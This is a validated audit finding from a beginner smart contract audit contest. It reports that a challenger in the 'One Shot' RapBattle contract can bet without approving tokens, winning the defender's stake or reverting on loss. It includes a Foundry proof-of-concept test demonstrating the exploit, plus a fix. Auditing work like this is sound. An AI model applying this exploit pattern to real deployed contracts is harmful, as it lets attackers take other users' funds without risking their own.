First Flight #10: One Shot
First Flight #10
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

In `RapBattle:_battle` the challenger hasn't aproved tokens to the contract.

kostov

Summary

User can enter a battle as a challenger without approving the bet before that. There are two scenarios:
-Challenger wins and takes the money from the defender
-Challenger loses and the transaction is reverted

Vulnerability Details

  1. Wait for someone to enter the stage

  2. Call RapBattle:goOnStageOrBattle without calling approve before that

  3. Enter the game

  4. If you win - you win the defender's money

  5. If you lose - the transaction is reverted

Proof of Code

function testChallengerDoesNotSendMoney(uint256 randomBlock) public twoSkilledRappers {
vm.startPrank(user);
oneShot.approve(address(rapBattle), 0);
cred.approve(address(rapBattle), 3);
console.log("User allowance before battle:", cred.allowance(user, address(rapBattle)));
rapBattle.goOnStageOrBattle(0, 3);
vm.stopPrank();
​
vm.startPrank(challenger);
oneShot.approve(address(rapBattle), 1);
console.log("User allowance before battle:", cred.allowance(challenger, address(rapBattle)));
​
// Change the block number so we get different RNG
vm.roll(randomBlock);
vm.recordLogs();
rapBattle.goOnStageOrBattle(1, 3);
vm.stopPrank();
​
Vm.Log[] memory entries = vm.getRecordedLogs();
// Convert the event bytes32 objects -> address
address winner = address(uint160(uint256(entries[0].topics[2])));
assert(cred.balanceOf(winner) == 7);
}

Impact

Very high impact - challenger never loses money and has a pretty high chance of winning some - basically tricking the defender

Tools Used

Recommendations

Make sure the user has approved the betted amount or make them transfer the money to the contract.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

missing check for sufficient `_credBet_` approval

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.